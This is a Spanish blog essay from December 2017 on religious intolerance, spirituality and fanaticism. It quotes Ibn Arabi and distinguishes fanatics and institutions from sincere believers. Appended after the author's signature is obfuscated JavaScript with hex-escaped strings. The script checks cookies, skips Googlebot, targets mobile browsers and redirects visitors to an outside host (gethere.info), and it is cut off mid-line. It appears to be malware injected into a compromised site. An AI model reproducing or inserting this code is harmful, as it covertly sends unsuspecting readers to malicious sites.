lunes , diciembre 11 2017

Intolerancia religiosa, espiritualidad y fanatismo

Soy una persona de izquierdas, laica y progresista, trabajo en el ámbito de las minorías y de los Derechos Humanos porque creo en la equidad, en la justicia y porque para mí, en esencia, ser de izquierdas es situarse al lado de los parias, de los más débiles y desamparados, de los que son víctimas de la exclusión y la intolerancia. Este ha sido mi mantra desde que desde niño me explicaron que era la izquierda beneficio para todos y todas y, la derecha, beneficio solo para unos pocos y pocas que disponen.

Durante muchos años fui antirreligioso por reacción frente al nacionalcatolicismo que la dictadura instauró en España, por una Iglesia que ayudó al nazismo, que persiguió al diferente, al intelectual,  al artista y que cometió asesinatos y genocidios.

Con el paso del tiempo descubrí que por encima de la institución religiosa estaban los creyentes de base, personas con las que no compartía su fe pero sí su labor al lado del más desfavorecido. Conocí curas que se arremangaban y hacían convocatorias de asambleas en las misas del domingo, monjas seglares que lejos de adoctrinar mostraban su ejemplo de trabajo con el más débil sin hacer caso de los preceptos discriminatorios de una autoridad eclesiástica aristocrática y excluyente, alejada del sentir de su comunidad, que castigaba en lugar de comprender y amar a su prójimo. Descubrí la teología de la liberación, la educación popular, los “curas rojos” que se enfrentaron a la dictadura de Videla en Argentina… y tantas personas que me hicieron reflexionar. Aprendí a separar la institución, movida por el interés y la riqueza, de las personas creyentes que ponían en práctica el amor al otro, la entrega a los demás, la creencia en la bondad humana.

Esto lo aprendí en los barrios, en los lugares donde la gente “bien” no se acercaba, esos lugares donde los “revolucionarios de salón” lanzan sus teorías pero no se acercan, no hablan con su gente… esos lugares donde estas personas sí estaban, con la delicadeza de sumarse al ritmo de la comunidad, sin evangelizar, sin excluir basándose en unas reglas “pacatas” basadas en el complejo humano y no en la espiritualidad.

Más que alguien religioso me he sentido siempre una persona espiritual, sin levitar ni oler a violetas, alguien pegado al terreno pero que buscaba una universalidad, una inclusividad, que te conduce indefectiblemente al misticismo.  Me di de bruces con el sufismo, la rama mística del islam, y encontré un espacio que definía en mucho lo que yo sentía, leí a los maestros como el murciano Ibn Arabí  y me conmoví.

Hubo un tiempo,

en el que rechazaba a mi prójimo

si su fe no era la mía.

Ahora mi corazón es capaz

de adoptar todas las formas:

es un prado para las gacelas

y un claustro para los monjes cristianos,

templo para los ídolos

y la Kaaba para los peregrinos,

es recipiente para las tablas de la Tora

y los versos del Corán.

Porque mi religión es el Amor.

Da igual a dónde vaya la caravana del amor,

su camino es la senda de mi fe.

Aprendí a diferenciar la institución y los fanáticos intolerantes de las personas que como creyentes actúan en consecuencia, que aman  al prójimo y lo ponen en práctica con su ejemplo diario, que se preocupan de su fe pero no de la tuya, que te ven como un/a hermano/a y no como alguien a convertir o convencer de nada. Es el fanático el que se quiere ocupar de tu fe, que pretende castigarte si no le sigues, que le gustaría disfrutar morbosamente viendo cómo te retuerces en calderos para sentirse mezquinamente mejor y elegido, que cultiva el odio y el desprecio en lugar del amor, que es tan pequeño que necesita creer que tiene un poder especial distinto al resto.

Me di cuenta también de que desde el otro lado había quien, sin darse cuenta, transitaba por el camino del odio. Que se creía especial, perteneciente a una élite intelectual que le permitía insultar, vejar y excluir a quien no siguiera su idea de intolerancia religiosa, que confundía institución y creyente, fanáticos y personas con creencias, que metía todo en mismo saco sin plantearse nada, repitiendo consignas aprendidas, haciendo un “postureo” que le hacía sentir mejor, más elevado, más combativo. Siento a esas personas en el mismo nivel del que va a darse latigazos y golpes en el pecho para que todos vean que “bueno y religioso es” pero que luego desprecia a la humanidad con su intolerancia, que es capaz de pasar por encima de lo humano etiquetando a las personas y reduciéndolas a objetos que ni sienten ni padecen.

El odio solo tiene una cara, solo ocupa una parte de la orilla aunque se manifieste de muy distintas formas. La falta de empatía, de la conciencia de la otra persona, solo nos conduce al egoísmo, la egolatría, el rechazo y nos convierte en seres tóxicos, en patéticos remedos de la persona plena que podríamos llegar a ser, nos empobrece en humanidad.

 

Demetrio Gómezvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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